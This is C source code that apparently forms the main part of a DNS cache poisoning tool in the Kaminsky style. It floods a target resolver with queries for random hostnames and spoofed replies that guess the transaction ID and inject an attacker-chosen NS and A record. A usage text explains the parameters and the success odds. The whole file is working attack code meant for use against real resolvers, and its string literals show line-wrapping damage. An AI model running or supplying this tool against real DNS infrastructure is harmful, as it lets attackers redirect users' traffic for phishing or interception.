void usage(char *name)
{
fprintf(stderr, "Usage: %s <ip-querier>
<ip-resolver> <ip-authoritative> "
"<port-resolver> <subhost> <domain>
<any-ip> <attempts> <repl-per-attempt>\n"
"
<ip-querier> Source IP
used when sending queries for random hostnames\n"
"
(typically your IP)\n"
"
<ip-resolver> Target DNS
resolver to attack\n"
"
<ip-authoritative> One of the authoritative DNS servers for
<domain>\n"
"
<port-resolver> Source port used by the
resolver when forwarding queries\n"
"
<subhost>
Poison the cache with the A record
<subhost>.<domain>\n"
"
<domain>
Domain name, see <subhost>.\n"
"
<any-ip>
IP of your choice to be associated to
<subhost>.<domain>\n"
"
<attempts>
Number of poisoning attemps, more attempts increase the\n"
"
chance of successful poisoning, but also the attack time\n"
"
<repl-per-attempt> Number of spoofed replies to send per
attempt, more replies\n"
"
increase the chance of successful poisoning but, but also\n"
"
the rate of packet loss\n"
"Example:\n"
" $ %s
q.q.q.q r.r.r.r a.a.a.a 1234 pwned example.com. 1.1.1.1 8192
16\n"
"This should cause
a pwned.example.com A record resolving to 1.1.1.1 to appear\n"
"in r.r.r.r's
cache. The chance of successfully poisoning the resolver
with\n"
"this example
(8192 attempts and 16 replies/attempt) is 86%%\n"
"(1-(1-16/65536)**8192). This example also requires a bandwidth of
about\n"
"2.6 Mbit/s (16
replies/attempt * ~200 bytes/reply * 100 attempts/sec *\n"
"8 bits/byte) and
takes about 80 secs to complete (8192 attempts /\n"
"100
attempts/sec).\n",
name, name);
}
int main(int argc, char **argv)
{
if (argc != 10)
usage(argv[0]), exit(1);
const char *querier = argv[1];
const char *ip_resolver = argv[2];
const char *ip_authoritative = argv[3];
uint16_t port_resolver = (uint16_t)strtoul(argv[4],
NULL, 0);
const char *subhost = argv[5];
const char *domain = argv[6];
const char *anyip = argv[7];
uint16_t attempts = (uint16_t)strtoul(argv[8], NULL,
0);
uint16_t replies = (uint16_t)strtoul(argv[9], NULL,
0);
if (domain[strlen(domain) - 1 ] != '.')
fprintf(stderr, "domain must end
with dot(.): %s\n", domain), exit(1);
printf("Chance of success: 1-(1-%d/65536)**%d =
%.2f\n", replies, attempts, 1 - pow((1 - replies / 65536.),
attempts));
srand(time(NULL));
int unique = rand() + (rand() << 16);
u_char buf[IP_LEN_MAX];
unsigned len;
char name[256];
char ns[256];
ip_t *iph;
if ((iph = ip_open()) == NULL)
err(1, "ip_open");
int cnt = 0;
while (cnt < attempts)
{
// send a query for a random
hostname
snprintf(name, sizeof (name),
"%08x%08x.%s", unique, cnt, domain);
len = build_query(buf, querier,
ip_resolver, name);
if (ip_send(iph, buf, len) !=
len)
err(1,
"ip_send");
// give the resolver enough time to
forward the query and be in a state
// where it waits for answers;
sleeping 10ms here limits the number of
// attempts to 100 per sec
usleep(10000);
// send spoofed replies, each reply
contains:
// - 1 query: query for the "random
hostname"
// - 1 answer: "random hostname" A
1.1.1.1
// - 1 authoritative nameserver:
<domain> NS <subhost>.<domain>
// - 1 additional record:
<subhost>.<domain> A <any-ip>
snprintf(ns, sizeof (ns), "%s.%s",
subhost, domain);
unsigned r;
for (r = 0; r < replies; r++)
{
// use a txid that
is just 'r': 0..(replies-1)
len =
build_response(buf, ip_authoritative, ip_resolver,
port_resolver, r, name, "1.1.1.1", domain, ns, anyip);
if (ip_send(iph,
buf, len) != len)
err(1, "ip_send");
}
cnt++;
}
ip_close(iph);
return 0;
}